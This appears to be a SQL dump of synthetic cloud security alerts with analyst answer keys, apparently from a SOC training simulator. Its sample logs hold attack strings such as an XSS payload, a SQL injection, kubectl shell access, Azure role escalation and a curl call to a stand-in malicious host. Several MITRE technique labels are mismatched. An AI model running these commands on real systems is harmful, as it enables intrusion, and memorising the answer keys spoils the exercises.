(2037, 'Serverless Function Abuse Detected', 'medium', 'Wiz', 'Anomalous activity detected in serverless function execution, possibly indicating an attempt to exploit cloud function vulnerabilities.', 'Lateral Movement', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:12:45Z\",\"event_type\":\"function_execution\",\"src_ip\":\"203.0.113.88\",\"username\":\"function-user\",\"hostname\":\"cloud-function-1\",\"command_line\":\"run_function --task=exploit_attempt\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous cloud function exploitation attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"run_function --task=exploit_attempt\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicates potential function exploitation\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The command and IP indicate a possible exploitation attempt of cloud functions.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2038, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'Sensitive data was accessed from an AWS S3 bucket by an unauthorized foreign IP address. This indicates a potential data exfiltration attack.', 'Data Exfil', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:25:43Z\",\"event_type\":\"data_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"unknown\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data/file.txt HTTP/1.1\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1500 times for data exfiltration activities\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"GET /sensitive-data/file.txt HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Suspicious data access request identified\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Unauthorized access to sensitive data indicates a confirmed data exfiltration attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2039, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'An unauthorized user attempted to escalate privileges within Azure IAM. This could lead to unauthorized access to critical resources.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:30Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"malicious_user\",\"hostname\":\"azure-iam\",\"command_line\":\"az role assignment create --assignee malicious_user --role Contributor\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP flagged for multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"az role assignment create --assignee malicious_user --role Contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used in privilege escalation attempts\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of unauthorized command indicates an active privilege escalation attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2040, 'GCP Service Account Hijacking Detected', 'high', 'GCP SCC', 'A service account was accessed from an unusual IP, indicating possible hijacking. This could result in unauthorized operations within the GCP environment.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:45:12Z\",\"event_type\":\"account_access\",\"src_ip\":\"192.0.2.55\",\"dst_ip\":\"10.0.1.5\",\"username\":\"service-account@example-project.iam.gserviceaccount.com\",\"hostname\":\"gcp-auth\",\"request_body\":\"GET /compute/v1/projects/example-project/zones/us-central1-a/instances\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in unauthorized GCP service account access\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account@example-project.iam.gserviceaccount.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Service account potentially compromised\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Unusual access patterns and IP indicate a possible service account hijacking.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2041, 'Prisma Cloud Kubernetes Cluster Compromise', 'critical', 'Prisma Cloud', 'Unauthorized access to Kubernetes API server detected. Potential compromise of cluster nodes and services.', 'Lateral Movement', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:37:56Z\",\"event_type\":\"api_call\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"192.168.2.100\",\"username\":\"kube-admin\",\"hostname\":\"kube-api-server\",\"request_body\":\"kubectl exec -it pod-name -- /bin/bash\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in unauthorized Kubernetes access\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"kubectl exec -it pod-name -- /bin/bash\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution detected in Kubernetes environment\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The unauthorized command execution suggests a compromise in the Kubernetes cluster.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2042, 'Wiz Serverless Function Exploitation Attempt', 'high', 'Wiz', 'Exploit attempt against serverless function detected. Malicious payload used to gain unauthorized access.', 'Web Attack', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:55:21Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.99\",\"dst_ip\":\"192.168.3.15\",\"username\":\"function-user\",\"hostname\":\"api.serverless.com\",\"request_body\":\"<script>alert(\'Exploit\')</script>\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP flagged for web-based exploits\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"<script>alert(\'Exploit\')</script>\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"XSS payload detected in serverless function request\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The presence of a malicious script in the request indicates an attempted web-based exploitation.\"}', 'Beginner', 'CLOUD', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2043, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'A potential data leak has been detected from an AWS S3 bucket. An external IP has accessed sensitive files.', 'Data Exfil', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:30:00Z\",\"event_type\":\"s3_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.100\",\"username\":\"john_doe\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data/file.txt\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for data exfiltration activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Employee account used in unauthorized access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP accessing sensitive files is a clear indicator of a data leak.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2044, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'An unauthorized privilege escalation attempt was detected in Azure IAM. Anomalous activity from a known account.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:45:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin_user\",\"hostname\":\"azure.portal.com\",\"command_line\":\"az role assignment create --assignee admin_user --role Owner\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with privilege escalation attacks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"az role assignment create --assignee admin_user --role Owner\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used for unauthorized privilege escalation\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The command line used is a clear indicator of an attempt to escalate privileges.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2045, 'GCP Service Account Hijacking Detected', 'critical', 'GCP SCC', 'Suspicious activity detected from a GCP service account, indicating potential hijacking.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:20:00Z\",\"event_type\":\"api_call\",\"src_ip\":\"192.0.2.50\",\"dst_ip\":\"10.1.2.3\",\"username\":\"gcp-service-account\",\"hostname\":\"cloud.google.com\",\"request_body\":\"POST /v1/projects/my-project/serviceAccounts:signBlob\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to service account hijacking incidents\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"gcp-service-account\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Service account involved in unauthorized API calls\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated unauthorized API calls suggest service account hijacking.\"}', 'Beginner', 'CLOUD', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2046, 'Unauthorized Kubernetes Access via Prisma Cloud', 'high', 'Prisma Cloud', 'Detected unauthorized access to Kubernetes cluster from a suspicious IP address.', 'Lateral Movement', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"k8s_access\",\"src_ip\":\"203.0.113.60\",\"dst_ip\":\"10.2.3.4\",\"username\":\"k8s-admin\",\"hostname\":\"k8s-cluster.local\",\"command_line\":\"kubectl exec -it pod-name -- /bin/bash\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous unauthorized Kubernetes access\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl exec -it pod-name -- /bin/bash\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used in unauthorized access to Kubernetes pods\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The unauthorized kubectl exec command demonstrates lateral movement within the cluster.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2047, 'Serverless Function Exploitation Detected via Wiz', 'medium', 'Wiz', 'A serverless function was exploited to execute malicious payloads from an external source.', 'Web Attack', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:45:00Z\",\"event_type\":\"function_execution\",\"src_ip\":\"198.51.100.5\",\"dst_ip\":\"10.3.4.5\",\"username\":\"lambda-function\",\"hostname\":\"aws.lambda.amazonaws.com\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for SQL injection attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload is a classic SQL injection, indicating an attempt to exploit serverless functions.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2048, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'Unauthorized access to an S3 bucket containing sensitive data was detected from an external IP.', 'Data Exfil', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:12:45Z\",\"event_type\":\"data_access\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.10\",\"username\":\"john.doe\",\"hostname\":\"aws-s3-bucket\",\"request_body\":\"GET /sensitive-data\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1200 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Legitimate user account but suspected of compromise\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"notify_data_owner\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"External IP accessing sensitive internal data is a clear indicator of data exfiltration.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2049, 'Azure IAM Privilege Escalation Detected', 'high', 'Azure Defender', 'A user account was detected attempting privilege escalation on Azure IAM, potentially indicating unauthorized activity.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:47:30Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"203.0.113.78\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin_user\",\"hostname\":\"azure-iam\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.78\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple credential theft attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Privileged internal account used in escalation attempt\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"audit_logs\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Attempted privilege escalation by external IP indicates compromise.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2050, 'GCP Service Account Hijacking Attempt', 'critical', 'GCP SCC', 'Suspicious activity detected on a GCP service account, indicating a possible hijacking attempt.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:22:11Z\",\"event_type\":\"login_success\",\"src_ip\":\"185.199.110.34\",\"dst_ip\":\"10.1.1.15\",\"username\":\"service-account\",\"hostname\":\"gcp-instance\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.110.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known hijacking campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"GCP service account suspected of being compromised\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"enable_logging\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Service account access from a known malicious IP indicates hijacking.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(2051, 'Suspicious Kubernetes Cluster Activity', 'high', 'Prisma Cloud', 'Detected suspicious command execution in Kubernetes cluster indicating potential unauthorized access.', 'Lateral Movement', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:00:05Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.99\",\"dst_ip\":\"10.2.2.20\",\"username\":\"kube-admin\",\"hostname\":\"k8s-node\",\"request_body\":\"\",\"command_line\":\"kubectl exec -it pod -- /bin/sh\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP reported for unauthorized Kubernetes access\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl exec -it pod -- /bin/sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command execution in Kubernetes cluster without authorization\"}}],\"expected_actions\":[\"isolate_host\",\"audit_logs\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Unauthorized command execution on Kubernetes indicates potential lateral movement.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2052, 'Serverless Function Misuse Detected', 'medium', 'Wiz', 'A serverless function was invoked with a suspicious payload indicating possible command injection.', 'Web Attack', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T18:45:25Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.0.2.123\",\"dst_ip\":\"10.3.3.30\",\"username\":\"anonymous\",\"hostname\":\"cloud-function\",\"request_body\":\"curl -s http://malicious.example.com\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP associated with command injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"curl -s http://malicious.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Payload indicates a command injection attempt\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\",\"notify_admin\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"Suspicious payload execution on serverless function suggests command injection.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2053, 'AWS GuardDuty: Unauthorized S3 Bucket Access Detected', 'high', 'AWS GuardDuty', 'An unauthorized access to an S3 bucket was detected from an external IP address. The attacker accessed sensitive data.', 'Data Exfiltration', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"203.0.113.5\",\"username\":\"unauthorized_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 120 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"unauthorized_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Commonly used in brute force attempts\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP accessing the S3 bucket indicates unauthorized access.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2054, 'Azure Defender: IAM Privilege Escalation Detected', 'critical', 'Azure Defender', 'A user account was granted elevated privileges without proper authorization. This may indicate a compromised account.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.40\",\"dst_ip\":\"10.0.0.5\",\"username\":\"compromised_user\",\"hostname\":\"azure-vm1\",\"request_body\":\"\",\"command_line\":\"az role assignment create --role Owner --assignee compromised_user\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous privilege escalation attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Involved in unauthorized role changes\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The unauthorized role assignment indicates possible account compromise.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2055, 'GCP SCC: Service Account Hijacking Attempt', 'high', 'GCP SCC', 'A suspicious activity detected involving a service account using anomalous IP addresses, potentially indicating hijacking.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.45\",\"dst_ip\":\"10.128.0.3\",\"username\":\"service-account@myproject.iam.gserviceaccount.com\",\"hostname\":\"gcp-instance\",\"request_body\":\"\",\"command_line\":\"gcloud auth activate-service-account --key-file=/path/to/key.json\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for service account abuse\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account@myproject.iam.gserviceaccount.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Service account involved in unusual access patterns\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The service account\'s unauthorized use by an external IP suggests hijacking.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2056, 'Prisma Cloud: Unauthorized Kubernetes API Access', 'high', 'Prisma Cloud', 'An unauthorized attempt to access the Kubernetes API server was detected from an external source.', 'Web Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:05:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.60\",\"dst_ip\":\"10.0.0.8\",\"username\":\"unknown\",\"hostname\":\"k8s-api-server\",\"request_body\":\"POST /api/v1/namespaces/default/pods\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP involved in unauthorized API access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"POST /api/v1/namespaces/default/pods\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Attempt to create unauthorized pods\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The external IP\'s unauthorized requests to the API server indicate a potential breach attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2057, 'Wiz: Serverless Function Invocation from Suspicious IP', 'medium', 'Wiz', 'A serverless function was invoked from an IP address known for suspicious activity, suggesting possible abuse.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.55\",\"dst_ip\":\"10.0.1.3\",\"username\":\"function-invoker\",\"hostname\":\"lambda-function\",\"request_body\":\"\",\"command_line\":\"aws lambda invoke --function-name myFunction\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with unauthorized serverless function invocations\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"function-invoker\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"User involved in anomalous invocation patterns\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The invocation from a known suspicious IP suggests potential misuse of serverless functions.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
